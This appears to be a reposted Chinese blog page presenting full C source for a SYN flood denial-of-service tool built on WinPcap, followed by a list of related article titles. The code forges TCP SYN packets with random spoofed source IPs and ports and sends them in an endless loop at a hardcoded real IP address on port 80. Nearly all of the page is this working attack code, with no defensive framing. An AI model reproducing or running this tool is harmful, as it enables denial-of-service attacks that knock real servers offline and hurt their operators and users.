winpcap实现syn攻击
来源:互联网 发布:手机怎样备份所有数据 编辑:程序博客网 时间:2024/05/18 02:44
#define _W64 #define HAVE_REMOTE #include<stdio.h> #include<pcap.h> #include<winsock2.h> #include <time.h> #include "remote-ext.h" #pragma comment(lib,"wpcap.lib") #pragma comment(lib,"WS2_32.lib") #pragma pack(push,1) typedef struct _TCP_SYN { unsigned char DstMAC[6]; // 目的mac地址 unsigned char SrcMAC[6]; // 源mac地址 unsigned char OtherData[12]; unsigned short Header_ChechSum; // 校验和 unsigned int SrcIP; // Source IP address unsigned int DstIP; // Destination IP address unsigned short SrcPort; // Source IP Port unsigned short DstPort; // Destination IP Port,一般为80端口,值为0x5000 unsigned char Ohters[16]; unsigned short pak_checksum; unsigned char OtherLast[1]; }TCP_SYN, *PTCP_SYN; #pragma pack(pop) unsigned char bufData[]="\x00\x25\x86\x27\xd1\x22\x90\x2b\x34\x60\xbd\x44\x08\x00\x45\x00" "\x00\x34\x61\xdc\x40\x00\x80\x06\x71\x83\xc0\xa8\x01\x6a\x7a\xe4" "\xea\x6d\x0b\x0c\x00\x50\xb9\xc2\xf5\x06\x00\x00\x00\x00\x80\x02" "\xff\xff\x8d\x8d\x00\x00\x02\x04\x05\xb4\x01\x03\x03\x01\x01\x01" "\x04\x02"; // clac the header's check sum unsigned short checksum(unsigned short *buffer, int size) { unsigned long cksum=0; while(size > 1) { cksum += *buffer++; size -= sizeof(unsigned short); } if(size) { cksum += *(unsigned char*)buffer; } cksum = (cksum>>16) + (cksum & 0xffff); cksum += (cksum>>16); return (unsigned short)(~cksum); } int main(int argc, char* argv[]) { pcap_if_t *alldevs; pcap_if_t *seldev; pcap_t *fp; char errbuf[PCAP_ERRBUF_SIZE]; srand(time(0)); /* 获取本机设备列表 */ if (pcap_findalldevs(&alldevs, errbuf) == -1) { fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf); exit(1); } // 找到一个有ip的就当有连网的网卡了 for (seldev = alldevs; seldev != NULL; seldev = seldev->next) { pcap_addr* pcapaddr = NULL; for (pcapaddr= seldev->addresses; pcapaddr != NULL; pcapaddr = pcapaddr->next) { if (pcapaddr->addr->sa_data[2] != '\0' && pcapaddr->addr->sa_data[3] != '\0') { break; } } if (pcapaddr != NULL) { break; } } if (seldev == NULL) { fprintf(stderr, "Can not find network!\n"); exit(1); } /* 打开这个输出设备 */ if ( (fp= pcap_open(seldev->name, // 设备名 100, // 要捕获的部分 (只捕获前100个字节) PCAP_OPENFLAG_PROMISCUOUS, // 混杂模式 1000, // 读超时时间 NULL, // 远程机器验证 errbuf // 错误缓冲 ) ) == NULL) { fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", alldevs->name); return -1; } // 修改源MAC、IP地址 , 并修改首部校验和 PTCP_SYN SynData = (PTCP_SYN)bufData; while(1) { memcpy(SynData->SrcMAC, "\x01\x01\x01\x01\x01\x01", 6); // 源MAC地址 01:01:01:01:01:01 SynData->DstIP = inet_addr("123.125.114.144"); // 攻击的目标 SynData->DstPort = htons(80); // 目标端口80 SynData->SrcIP = (unsigned int)rand(); // 源IP地址随机产生 SynData->SrcPort = (unsigned short)rand()%100+1024; // 源端口随机产生 SynData->Header_ChechSum = 0; SynData->Header_ChechSum = checksum((unsigned short*)&bufData[14], 20); // 计算checksum // printf("%d\n", SynData->Header_ChechSum); /* 发送数据包 */ // (wireshark 黑底红字为 校验和错误 的包). if (pcap_sendpacket(fp, bufData, sizeof(bufData)-1 ) != 0) { fprintf(stderr,"\nError sending the packet: \n", pcap_geterr(fp)); return -1; } } /* 释放设备列表 */ pcap_freealldevs(alldevs); return 0; }
0 0
- winpcap实现syn攻击
- SYN攻击实现
- SYN攻击实现
- 基于winpcap和syn的dos攻击,亲测
- 基于winpcap和syn的dos攻击,亲测
- Python实现SYN Flood攻击
- SYN及SYN攻击
- SYN攻击
- SYN攻击
- SYN攻击
- SYN攻击
- SYN攻击
- SYN攻击
- SYN攻击
- syn攻击
- C语言实现基于SYN洪泛的DoS攻击
- Syn反射洪水攻击
- SYN Flood 攻击
- 专题四 · 1003
- c++类成员函数作为回调函数
- JAVA多线程实现的三种方式
- 获取路径
- Tarball-百度百科
- winpcap实现syn攻击
- css 比较 在同一个水平线上
- MapReduce任务运行到running job卡住
- Hadoop经典案例Spark实现(一)——通过采集的气象数据分析每年的最高温度
- mybatis 根据Map字段对应值更新
- 下面放一段可以启动的,位置无关的arm bootloader简易启动:
- 窗口和视口的关系
- JavaScript小技巧
- MySQL字符串连接函数